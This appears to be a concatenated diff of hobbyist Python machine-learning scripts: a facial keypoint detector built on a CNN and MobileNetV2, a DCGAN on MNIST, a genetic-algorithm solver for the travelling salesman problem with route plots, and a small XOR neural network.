+from tensorflow.keras.models import Sequential, Model
+from tensorflow.keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Dropout, Flatten
+from tensorflow.keras.applications import MobileNetV2
+import tensorflow as tf
+import tensorflow.keras.backend as K
+
+def smoothL1(y_true, y_pred):
+    HUBER_DELTA = 0.5
+    x   = K.abs(y_true - y_pred)
+    x   = K.switch(x < HUBER_DELTA, 0.5 * x ** 2, HUBER_DELTA * (x - 0.5 * HUBER_DELTA))
+    return K.sum(x)
+
+
+def create_model(input_shape, output_shape):
+
+    # building the model
+    model = Sequential()
+
+    model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same", input_shape=input_shape))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    # model.add(Dropout(0.25))
+
+    model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    # model.add(Dropout(0.25))
+
+    model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    # model.add(Dropout(0.25))
+
+    # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same"))
+    # model.add(Activation("relu"))
+    # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same"))
+    # model.add(Activation("relu"))
+    # model.add(MaxPooling2D(pool_size=(2, 2)))
+    # # model.add(Dropout(0.25))
+
+    # flattening the convolutions
+    model.add(Flatten())
+    # fully-connected layers
+    model.add(Dense(256))
+    model.add(Activation("relu"))
+    model.add(Dropout(0.5))
+    model.add(Dense(output_shape, activation="linear"))
+
+    # print the summary of the model architecture
+    model.summary()
+
+    # training the model using rmsprop optimizer
+    # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"])
+    model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"])
+    return model
+
+
+def create_mobilenet_model(input_shape, output_shape):
+    model = MobileNetV2(input_shape=input_shape)
+    # remove the last layer
+    model.layers.pop()
+    # freeze all the weights of the model except for the last 4 layers
+    for layer in model.layers[:-4]:
+        layer.trainable = False
+    # construct our output dense layer
+    output = Dense(output_shape, activation="linear")
+    # connect it to the model
+    output = output(model.layers[-1].output)
+
+    model = Model(inputs=model.inputs, outputs=output)
+
+    model.summary()
+
+    # training the model using adam optimizer
+    # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"])
+    model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"])
+    return model
+
+
+
+
+IMAGE_SIZE = (224, 224)
+OUTPUT_SHAPE = (68, 2)
+BATCH_SIZE = 20
+EPOCHS = 30
+
+training_file = "data/training_frames_keypoints.csv"
+testing_file = "data/test_frames_keypoints.csv"
+
+
+
+
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+
+from models import create_model, create_mobilenet_model
+from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file
+from utils import load_data
+
+
+def get_predictions(model, X):
+    predicted_keypoints = model.predict(X)
+    predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE)
+    return predicted_keypoints
+    
+
+def show_keypoints(image, predicted_keypoints, true_keypoints):
+    predicted_keypoints = untransform(predicted_keypoints)
+    true_keypoints = untransform(true_keypoints)
+    plt.imshow(np.squeeze(image), cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+def untransform(keypoints):
+    return keypoints *224
+
+
+# # construct the model
+model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+model.load_weights("results/model_smoothl1_mobilenet_crop.h5")
+
+X_test, y_test = load_data(testing_file)
+y_test = y_test.reshape(-1, *OUTPUT_SHAPE)
+
+y_pred = get_predictions(model, X_test)
+print(y_pred[0])
+print(y_pred.shape)
+print(y_test.shape)
+print(X_test.shape)
+
+for i in range(50):
+    show_keypoints(X_test[i+400], y_pred[i+400], y_test[i+400])
+
+
+
+
+import numpy as np
+import pandas as pd
+import matplotlib.pyplot as plt
+
+from sklearn.preprocessing import MinMaxScaler
+from tqdm import tqdm
+# from tensorflow.keras.layers import Conv2D, Dense, MaxPooling2D
+from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint
+
+
+import os
+
+from models import create_model, create_mobilenet_model
+from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file
+from utils import load_data
+
+# # read the training dataframe
+# training_df = pd.read_csv("data/training_frames_keypoints.csv")
+
+# # print the number of images available in the training dataset
+# print("Number of images in training set:", training_df.shape[0])
+
+def show_keypoints(image, key_points):
+    # show the image
+    plt.imshow(image)
+    # use scatter() to plot the keypoints in the faces
+    plt.scatter(key_points[:, 0], key_points[:, 1], s=20, marker=".")
+    plt.show()
+
+# show an example image
+# n = 124
+# image_name = training_df.iloc[n, 0]
+# keypoints = training_df.iloc[n, 1:].values.reshape(-1, 2)
+# show_keypoints(mpimg.imread(os.path.join("data", "training", image_name)), key_points=keypoints)
+
+model_name = "model_smoothl1_mobilenet_crop"
+
+# construct the model
+model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+# model.load_weights("results/model3.h5")
+
+X_train, y_train = load_data(training_file, to_gray=False)
+X_test, y_test = load_data(testing_file, to_gray=False)
+
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name))
+# checkpoint = ModelCheckpoint(os.path.join("results", model_name), save_best_only=True, verbose=1)
+
+history = model.fit(X_train, y_train,
+                    batch_size=BATCH_SIZE,
+                    epochs=EPOCHS,
+                    validation_data=(X_test, y_test),
+                    # callbacks=[tensorboard, checkpoint],
+                    callbacks=[tensorboard],
+                    verbose=1)
+
+
+model.save("results/" + model_name + ".h5")
+
+
+
+
+import numpy as np
+import pandas as pd
+import matplotlib.image as mpimg
+import matplotlib.pyplot as plt
+import cv2
+from tqdm import tqdm
+
+
+import os
+
+from parameters import IMAGE_SIZE, OUTPUT_SHAPE
+
+
+def show_keypoints(image, predicted_keypoints, true_keypoints=None):
+    # predicted_keypoints = untransform(predicted_keypoints)        
+    plt.imshow(image, cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    if true_keypoints is not None:
+        # true_keypoints = untransform(true_keypoints)
+        plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+def resize_image(image, image_size):
+    return cv2.resize(image, image_size)
+
+
+def random_crop(image, keypoints):
+    h, w = image.shape[:2]
+    new_h, new_w = IMAGE_SIZE
+    keypoints = keypoints.reshape(-1, 2)
+    try:
+        top = np.random.randint(0, h - new_h)
+        left = np.random.randint(0, w - new_w)
+    except ValueError:
+        return image, keypoints
+    image = image[top: top + new_h, left: left + new_w]
+    keypoints = keypoints - [left, top]
+    
+    return image, keypoints
+
+
+def normalize_image(image, to_gray=True):
+    if image.shape[2] == 4:
+        # if the image has an alpha color channel (opacity)
+        # let's just remove it
+        image = image[:, :, :3]
+    # get the height & width of image
+    h, w = image.shape[:2]
+    new_h, new_w = IMAGE_SIZE
+    new_h, new_w = int(new_h), int(new_w)
+
+    # scaling the image to that IMAGE_SIZE
+    # image = cv2.resize(image, (new_w, new_h))
+    image = resize_image(image, (new_w, new_h))
+    if to_gray:
+        # convert image to grayscale
+        image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)
+    # normalizing pixels from the range [0, 255] to [0, 1]
+    image = image / 255.0
+    if to_gray:
+        image = np.expand_dims(image, axis=2)
+    return image
+
+
+
+def normalize_keypoints(image, keypoints):
+    # get the height & width of image
+    h, w = image.shape[:2]
+    # reshape to coordinates (x, y)
+    # i.e converting a vector of (136,) to the 2D array (68, 2)
+    new_h, new_w = IMAGE_SIZE
+    new_h, new_w = int(new_h), int(new_w)
+    keypoints = keypoints.reshape(-1, 2)
+    # scale the keypoints also
+    keypoints = keypoints * [new_w / w, new_h / h]
+    keypoints = keypoints.reshape(-1)
+    # normalizing keypoints from [0, IMAGE_SIZE] to [0, 1] (experimental)
+    keypoints = keypoints / 224
+    # keypoints = (keypoints - 100) / 50
+    return keypoints
+
+def normalize(image, keypoints, to_gray=True):
+    image, keypoints = random_crop(image, keypoints)
+    return normalize_image(image, to_gray=to_gray), normalize_keypoints(image, keypoints)
+
+def load_data(csv_file, to_gray=True):
+    # read the training dataframe
+    df = pd.read_csv(csv_file)
+    all_keypoints = np.array(df.iloc[:, 1:])
+    image_names = list(df.iloc[:, 0])
+    # load images
+    X, y = [], []
+    X = np.zeros((len(image_names), *IMAGE_SIZE, 3), dtype="float32")
+    y = np.zeros((len(image_names), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]))
+    for i, (image_name, keypoints) in enumerate(zip(tqdm(image_names, "Loading " + os.path.basename(csv_file)), all_keypoints)):
+        image = mpimg.imread(os.path.join("data", "training", image_name))
+        image, keypoints = normalize(image, keypoints, to_gray=to_gray)
+        X[i] = image
+        y[i] = keypoints
+
+    return X, y
+
+
+
+
+"""
+DCGAN on MNIST using Keras
+"""
+# to use CPU
+import os
+
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+
+import numpy as np
+import matplotlib.pyplot as plt
+import tqdm
+import glob
+# from tensorflow.examples.tutorials.mnist import input_data
+
+from keras.models import Sequential
+from keras.layers import Dense, Activation, Flatten, Reshape
+from keras.layers import Conv2D, Conv2DTranspose, UpSampling2D
+from keras.layers import LeakyReLU, Dropout, BatchNormalization
+from keras.optimizers import Adam, RMSprop
+from keras.datasets import mnist
+
+class GAN:
+    def __init__(self, img_x=28, img_y=28, img_z=1):
+        self.img_x = img_x
+        self.img_y = img_y
+        self.img_z = img_z
+
+        self.D = None  # discriminator
+        self.G = None  # generator
+        self.AM = None # adversarial model
+        self.DM = None # discriminator model
+
+    def discriminator(self):
+        if self.D:
+            return self.D
+
+        self.D = Sequential()
+
+        depth = 64
+        dropout = 0.4
+        input_shape = (self.img_x, self.img_y, self.img_z)
+
+        self.D.add(Conv2D(depth, 5, strides=2, input_shape=input_shape, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        self.D.add(Conv2D(depth*2, 5, strides=2, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        self.D.add(Conv2D(depth*4, 5, strides=2, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        self.D.add(Conv2D(depth*8, 5, strides=1, padding="same"))
+        self.D.add(LeakyReLU(0.2))
+        self.D.add(Dropout(dropout))
+
+        # convert to 1 dimension
+        self.D.add(Flatten())
+        self.D.add(Dense(1, activation="sigmoid"))
+        print("="*50, "Discriminator", "="*50)
+        self.D.summary()
+        return self.D
+
+    def generator(self):
+        if self.G:
+            return self.G
+
+        self.G = Sequential()
+        dropout = 0.4
+        # covnerting from 100 vector noise to dim x dim x depth
+        # (100,) to (7, 7, 256)
+        depth = 64 * 4
+        dim = 7
+        
+        self.G.add(Dense(dim*dim*depth, input_dim=100))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Reshape((dim, dim, depth)))
+        self.G.add(Dropout(dropout))
+
+        # upsampling to (14, 14, 128)
+        self.G.add(UpSampling2D())
+        self.G.add(Conv2DTranspose(depth // 2, 5, padding="same"))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Dropout(dropout))
+
+        # up to (28, 28, 64)
+        self.G.add(UpSampling2D())
+        self.G.add(Conv2DTranspose(depth // 4, 5, padding="same"))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Dropout(dropout))
+
+        # to (28, 28, 32)
+        self.G.add(Conv2DTranspose(depth // 8, 5, padding="same"))
+        self.G.add(BatchNormalization(momentum=0.9))
+        self.G.add(Activation("relu"))
+        self.G.add(Dropout(dropout))
+
+        # to (28, 28, 1) (img)
+        self.G.add(Conv2DTranspose(1, 5, padding="same"))
+        self.G.add(Activation("sigmoid"))
+        print("="*50, "Generator", "="*50)
+        self.G.summary()
+        return self.G
+
+    def discriminator_model(self):
+        if self.DM:
+            return self.DM
+        # optimizer = RMSprop(lr=0.001, decay=6e-8)
+        optimizer = Adam(0.0002, 0.5)
+        self.DM = Sequential()
+        self.DM.add(self.discriminator())
+        self.DM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"])
+        return self.DM
+
+    def adversarial_model(self):
+        if self.AM:
+            return self.AM
+        # optimizer = RMSprop(lr=0.001, decay=3e-8)
+        optimizer = Adam(0.0002, 0.5)
+        self.AM = Sequential()
+        self.AM.add(self.generator())
+        self.AM.add(self.discriminator())
+        self.AM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"])
+        return self.AM
+
+
+class MNIST:
+    def __init__(self):
+        self.img_x = 28
+        self.img_y = 28
+        self.img_z = 1
+
+        self.steps = 0
+
+        self.load_data()
+        self.create_models()
+
+        # used image indices
+        self._used_indices = set()
+
+    def load_data(self):
+        (self.X_train, self.y_train), (self.X_test, self.y_test) = mnist.load_data()
+        # reshape to (num_samples, 28, 28 , 1)
+        self.X_train = np.expand_dims(self.X_train, axis=-1)
+        self.X_test = np.expand_dims(self.X_test, axis=-1)
+
+    def create_models(self):
+        self.GAN = GAN()
+        self.discriminator = self.GAN.discriminator_model()
+        self.adversarial = self.GAN.adversarial_model()
+        self.generator = self.GAN.generator()
+        discriminators = glob.glob("discriminator_*.h5")
+        generators = glob.glob("generator_*.h5")
+        adversarial = glob.glob("adversarial_*.h5")
+        if len(discriminators) != 0:
+            print("[+] Found a discriminator ! Loading weights ...")
+            self.discriminator.load_weights(discriminators[0])
+        if len(generators) != 0:
+            print("[+] Found a generator ! Loading weights ...")
+            self.generator.load_weights(generators[0])
+        if len(adversarial) != 0:
+            print("[+] Found an adversarial model ! Loading weights ...")
+            self.steps = int(adversarial[0].replace("adversarial_", "").replace(".h5", ""))
+            self.adversarial.load_weights(adversarial[0])
+
+
+    def get_unique_random(self, batch_size=256):
+        indices = np.random.randint(0, self.X_train.shape[0], size=batch_size)
+        # in_used_indices = np.any([i in indices for i in self._used_indices])
+        # while in_used_indices:
+        #     indices = np.random.randint(0, self.X_train.shape[0], size=batch_size)
+        #     in_used_indices = np.any([i in indices for i in self._used_indices])
+        # self._used_indices |= set(indices)
+        # if len(self._used_indices) > self.X_train.shape[0] // 2:
+            # if used indices is more than half of training samples, clear it
+            # that is to enforce it to train at least more than half of the dataset uniquely
+            # self._used_indices.clear()
+        return indices
+        
+
+
+    def train(self, train_steps=2000, batch_size=256, save_interval=0):
+        noise_input = None
+        
+        steps = tqdm.tqdm(list(range(self.steps, train_steps)))
+        fake = np.zeros((batch_size, 1))
+        real = np.ones((batch_size, 1))
+        for i in steps:
+            real_images = self.X_train[self.get_unique_random(batch_size)]
+            # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100))
+            noise = np.random.normal(size=(batch_size, 100))
+            fake_images = self.generator.predict(noise)
+            # get 256 real images and 256 fake images
+            d_loss_real = self.discriminator.train_on_batch(real_images, real)
+            d_loss_fake = self.discriminator.train_on_batch(fake_images, fake)
+            d_loss = 0.5 * np.add(d_loss_real, d_loss_fake)
+            # X = np.concatenate((real_images, fake_images))
+            # y = np.zeros((2*batch_size, 1))
+            # 0 for fake and 1 for real
+            # y[:batch_size, :] = 1
+
+            # shuffle
+            # shuffle_in_unison(X, y)
+
+            # d_loss = self.discriminator.train_on_batch(X, y)
+
+            # y = np.ones((batch_size, 1))
+            # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100))
+            # fool the adversarial, telling him everything is real
+            a_loss = self.adversarial.train_on_batch(noise, real)
+            log_msg = f"[D loss: {d_loss[0]:.6f}, D acc: {d_loss[1]:.6f} | A loss: {a_loss[0]:.6f}, A acc: {a_loss[1]:.6f}]"
+            steps.set_description(log_msg)
+
+            if save_interval > 0:
+                noise_input = np.random.uniform(low=-1, high=1.0, size=(16, 100))
+                if (i + 1) % save_interval == 0:
+                    self.plot_images(save2file=True, samples=noise_input.shape[0], noise=noise_input, step=(i+1))
+                    self.discriminator.save(f"discriminator_{i+1}.h5")
+                    self.generator.save(f"generator_{i+1}.h5")
+                    self.adversarial.save(f"adversarial_{i+1}.h5")
+
+        
+    def plot_images(self, save2file=False, fake=True, samples=16, noise=None, step=0):
+        filename = "mnist_fake.png"
+        if fake:
+            if noise is None:
+                noise = np.random.uniform(-1.0, 1.0, size=(samples, 100))
+            else:
+                filename = f"mnist_{step}.png"
+            images = self.generator.predict(noise)
+        else:
+            i = np.random.randint(0, self.X_train.shape[0], samples)
+            images = self.X_train[i]
+            if noise is None:
+                filename = "mnist_real.png"
+
+        plt.figure(figsize=(10, 10))
+        for i in range(images.shape[0]):
+            plt.subplot(4, 4, i+1)
+            image = images[i]
+            image = np.reshape(image, (self.img_x, self.img_y))
+            plt.imshow(image, cmap="gray")
+            plt.axis("off")
+        plt.tight_layout()
+        if save2file:
+            plt.savefig(filename)
+            plt.close("all")
+        else:
+            plt.show()
+
+
+# https://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison
+def shuffle_in_unison(a, b):
+    rng_state = np.random.get_state()
+    np.random.shuffle(a)
+    np.random.set_state(rng_state)
+    np.random.shuffle(b)
+
+
+if __name__ == "__main__":
+    mnist_gan = MNIST()
+    mnist_gan.train(train_steps=10000, batch_size=256, save_interval=500)
+    mnist_gan.plot_images(fake=True, save2file=True)
+    mnist_gan.plot_images(fake=False, save2file=True)
+
+
+
+
+import random
+import numpy as np
+import pandas as pd
+import operator
+import matplotlib.pyplot as plt
+from threading import Event, Thread
+
+
+class Individual:
+    def __init__(self, object):
+        self.object = object
+
+    def update(self, new):
+        self.object = new
+
+    def __repr__(self):
+        return self.object
+    
+    def __str__(self):
+        return self.object
+
+
+class GeneticAlgorithm:
+    """General purpose genetic algorithm implementation"""
+
+    def __init__(self, individual, popsize, elite_size, mutation_rate, generations, fitness_func, plot=True, prn=True, animation_func=None):
+        self.individual = individual
+        self.popsize = popsize
+        self.elite_size = elite_size
+        self.mutation_rate = mutation_rate
+        self.generations = generations
+        if not callable(fitness_func):
+            raise TypeError("fitness_func must be a callable object.")
+        self.get_fitness = fitness_func
+        self.plot = plot
+        self.prn = prn
+        self.population = self._init_pop()
+        self.animate = animation_func
+        
+    def calc(self):
+        """Try to find the best individual.
+        This function returns (initial_individual, final_individual, """
+        sorted_pop = self.sortpop()
+        initial_route = self.population[sorted_pop[0][0]]
+        distance = 1 / sorted_pop[0][1]
+        progress = [ distance ]
+        if callable(self.animate):
+            self.plot = True
+            individual = Individual(initial_route)
+            stop_animation = Event()
+            self.animate(individual, progress, stop_animation, plot_conclusion=initial_route)
+        else:
+            self.plot = False
+        if self.prn:
+            print(f"Initial distance: {distance}")
+        try:
+            if self.plot:
+                for i in range(self.generations):
+                    population = self.next_gen()
+                    sorted_pop = self.sortpop()
+                    distance = 1 / sorted_pop[0][1]
+                    progress.append(distance)
+                    if self.prn:
+                        print(f"[Generation:{i}] Current distance: {distance}")
+                    route = population[sorted_pop[0][0]]
+                    individual.update(route)
+            else:
+                for i in range(self.generations):
+                    population = self.next_gen()
+                    distance = 1 / self.sortpop()[0][1]
+                    if self.prn:
+                        print(f"[Generation:{i}] Current distance: {distance}")
+                    
+                    
+        except KeyboardInterrupt:
+            pass
+        try:
+            stop_animation.set()
+        except NameError:
+            pass
+        final_route_index = self.sortpop()[0][0]
+        final_route = population[final_route_index]
+        if self.prn:
+            print("Final route:", final_route)
+
+        return initial_route, final_route, distance
+
+    def create_population(self):
+        return random.sample(self.individual, len(self.individual))
+
+    def _init_pop(self):
+        return [ self.create_population() for i in range(self.popsize) ]
+
+    def sortpop(self):
+        """This function calculates the fitness of each individual in population
+        And returns a population sorted by its fitness in descending order"""
+        result = [ (i, self.get_fitness(individual)) for i, individual in enumerate(self.population) ]
+        return sorted(result, key=operator.itemgetter(1), reverse=True)
+
+    def selection(self):
+        sorted_pop = self.sortpop()
+        df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"])
+        df['cum_sum']  = df['Fitness'].cumsum()
+        df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum()
+        result = [ sorted_pop[i][0] for i in range(self.elite_size) ]
+
+        for i in range(len(sorted_pop) - self.elite_size):
+            pick = random.random() * 100
+            for i in range(len(sorted_pop)):
+                if pick <= df['cum_perc'][i]:
+                    result.append(sorted_pop[i][0])
+                    break
+        return [ self.population[index] for index in result ]
+
+    def breed(self, parent1, parent2):
+        child1, child2 = [], []
+
+        gene_A = random.randint(0, len(parent1))
+        gene_B = random.randint(0, len(parent2))
+
+        start_gene = min(gene_A, gene_B)
+        end_gene   = max(gene_A, gene_B)
+
+        for i in range(start_gene, end_gene):
+            child1.append(parent1[i])
+        
+        child2 = [ item for item in parent2 if item not in child1 ]
+        return child1 + child2
+
+    def breed_population(self, selection):
+        pool = random.sample(selection, len(selection))
+        children = [selection[i] for i in range(self.elite_size)]
+        children.extend([self.breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - self.elite_size)])
+        return children
+
+    def mutate(self, individual):
+        individual_length = len(individual)
+        for swapped in range(individual_length):
+            if(random.random() < self.mutation_rate):
+                swap_with = random.randint(0, individual_length-1)
+                individual[swapped], individual[swap_with] = individual[swap_with], individual[swapped]
+        return individual
+
+    def mutate_population(self, children):
+        return [ self.mutate(individual) for individual in children ]
+
+    def next_gen(self):
+        selection = self.selection()
+        children = self.breed_population(selection)
+        self.population = self.mutate_population(children)
+        return self.population
+
+
+
+
+from genetic import plt
+from genetic import Individual
+from threading import Thread
+
+
+def plot_routes(initial_route, final_route):
+    _, ax = plt.subplots(nrows=1, ncols=2)
+
+    for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]):
+        col.title.set_text(route[0])
+        route = route[1]
+        for i, city in enumerate(route):
+            if i == 0:
+                col.text(city.x-5, city.y+5, "Start")
+                col.scatter(city.x, city.y, s=70, c='g')
+            else:
+                col.scatter(city.x, city.y, s=70, c='b')
+
+        col.plot([ city.x for city in route ], [city.y for city in route], c='r')
+        col.plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r')
+    
+    plt.show()
+
+
+def animate_progress(route, progress, stop_animation, plot_conclusion=None):
+        
+    def animate():
+        nonlocal route
+        _, ax1 = plt.subplots(nrows=1, ncols=2)
+        while True:
+            if isinstance(route, Individual):
+                target = route.object
+            ax1[0].clear()
+            ax1[1].clear()
+
+            # current routes and cities
+            ax1[0].title.set_text("Current routes")
+            
+            for i, city in enumerate(target):
+                if i == 0:
+                    ax1[0].text(city.x-5, city.y+5, "Start")
+                    ax1[0].scatter(city.x, city.y, s=70, c='g')
+                else:
+                    ax1[0].scatter(city.x, city.y, s=70, c='b')
+
+            ax1[0].plot([ city.x for city in target ], [city.y for city in target], c='r')
+            ax1[0].plot([target[-1].x, target[0].x], [target[-1].y, target[0].y], c='r')
+
+            # current distance graph
+            ax1[1].title.set_text("Current distance")
+            ax1[1].plot(progress)
+            ax1[1].set_ylabel("Distance")
+            ax1[1].set_xlabel("Generation")
+
+            plt.pause(0.05)
+            
+            if stop_animation.is_set():
+                break
+        plt.show()
+        if plot_conclusion:
+            initial_route = plot_conclusion
+            plot_routes(initial_route, target)
+
+    Thread(target=animate).start()
+
+
+
+
+import matplotlib.pyplot as plt
+import random
+import numpy as np
+import operator
+from plots import animate_progress, plot_routes
+
+
+class City:
+    def __init__(self, x, y):
+        self.x = x
+        self.y = y
+
+    def distance(self, city):
+        """Returns distance between self city and city"""
+        x = abs(self.x - city.x)
+        y = abs(self.y - city.y)
+        return np.sqrt(x ** 2 + y ** 2)
+
+    def __sub__(self, city):
+        return self.distance(city)
+
+    def __repr__(self):
+        return f"({self.x}, {self.y})"
+
+    def __str__(self):
+        return self.__repr__()
+
+
+def get_fitness(route):
+
+    def get_distance():
+        distance = 0
+        for i in range(len(route)):
+            from_city = route[i]
+            to_city = route[i+1] if i+1 < len(route) else route[0]
+            distance += (from_city - to_city)
+        return distance
+
+    return 1 / get_distance()
+
+
+def load_cities():
+    return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ]
+
+
+def generate_cities(size):
+    cities = []
+    for i in range(size):
+        x = random.randint(0, 200)
+        y = random.randint(0, 200)
+
+        if 40 < x < 160:
+            if 0.5 <= random.random():
+                y = random.randint(0, 40)
+            else:
+                y = random.randint(160, 200)
+        elif 40 < y < 160:
+            if 0.5 <= random.random():
+                x = random.randint(0, 40)
+            else:
+                x = random.randint(160, 200)
+
+        cities.append(City(x, y))
+    return cities
+
+
+def benchmark(cities):
+    popsizes = [60, 80, 100, 120, 140]
+    elite_sizes = [5, 10, 20, 30, 40]
+    mutation_rates = [0.02, 0.01, 0.005, 0.003, 0.001]
+    generations = 1200
+
+    iterations = len(popsizes) * len(elite_sizes) * len(mutation_rates)
+    iteration = 0
+
+    gens = {}
+    
+    for popsize in popsizes:
+        for elite_size in elite_sizes:
+            for mutation_rate in mutation_rates:
+                iteration += 1
+                gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, prn=False)
+                initial_route, final_route, generation = gen.calc(ret=("generation", 755))
+                if generation == generations:
+                    print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): could not reach the solution")
+                else:
+                    print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): {generation} generations was enough")
+                if generation != generations:
+                    gens[iteration] = generation
+    # reversed_gen = {v:k for k, v in gens.items()}
+    output = sorted(gens.items(), key=operator.itemgetter(1))
+    for i, gens in output:
+        print(f"Iteration: {i} generations: {gens}")
+
+
+# [1] (popsize=60, elite_size=30, mutation_rate=0.001): 235 generations was enough
+# [2] (popsize=80, elite_size=20, mutation_rate=0.001): 206 generations was enough
+# [3] (popsize=100, elite_size=30, mutation_rate=0.001): 138 generations was enough
+# [4] (popsize=120, elite_size=30, mutation_rate=0.002): 117 generations was enough
+# [5] (popsize=140, elite_size=20, mutation_rate=0.003): 134 generations was enough
+
+# The notes:
+# 1.1 Increasing the mutation rate to higher rate, the curve will be inconsistent and it won't lead us to the optimal distance.
+# 1.2 So we need to put it as small as 1% or lower
+# 2. Elite size is likely to be about 30% or less of total population
+# 3. Generations depends on the other parameters, can be a fixed number, or until we reach the optimal distance.
+# 4. 
+    
+
+if __name__ == "__main__":
+    from genetic import GeneticAlgorithm
+    cities = load_cities()
+    # cities = generate_cities(50)
+    # parameters
+    popsize = 120
+    elite_size = 30
+    mutation_rate = 0.1
+    
+    generations = 400
+
+    gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, animation_func=animate_progress)
+    initial_route, final_route, distance = gen.calc()
+
+
+
+
+import tensorflow as tf
+import matplotlib.pyplot as plt
+from sklearn.model_selection import train_test_split
+from sklearn.utils import shuffle
+
+import re
+import numpy as np
+import os
+import time
+import json
+from glob import glob
+from PIL import Image
+import pickle
+
+
+
+
+import numpy as np
+from keras.utils import np_utils
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, Activation
+
+
+np.random.seed(19)
+
+X = np.array([[0,0],[0,1],[1,0],[1,1]]).astype('float32')
+y = np.array([[0],[1],[1],[0]]).astype('float32')
+
+y = np_utils.to_categorical(y)
+
+xor = Sequential()
+
+# add required layers
+xor.add(Dense(8, input_dim=2))
+
+# hyperbolic tangent function to the first hidden layer ( 8 nodes )
+xor.add(Activation("tanh"))
+
+xor.add(Dense(8))
+xor.add(Activation("relu"))
+# output layer
+xor.add(Dense(2))
+
+# sigmoid function to the output layer ( final )
+xor.add(Activation("sigmoid"))
+
+# Cross-entropy error function
+xor.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+
+# show the summary of the model
+xor.summary()
+
+xor.fit(X, y, epochs=400, verbose=1)
+
+# accuray
+score = xor.evaluate(X, y)
+print(f"Accuracy: {score[-1]}")
+
+
+# Checking the predictions
+print("\nPredictions:")
+print(xor.predict(X))
+
+
+
+
+import torch
+import torchvision
+from torchvision import transforms, datasets
+import torch.nn as nn
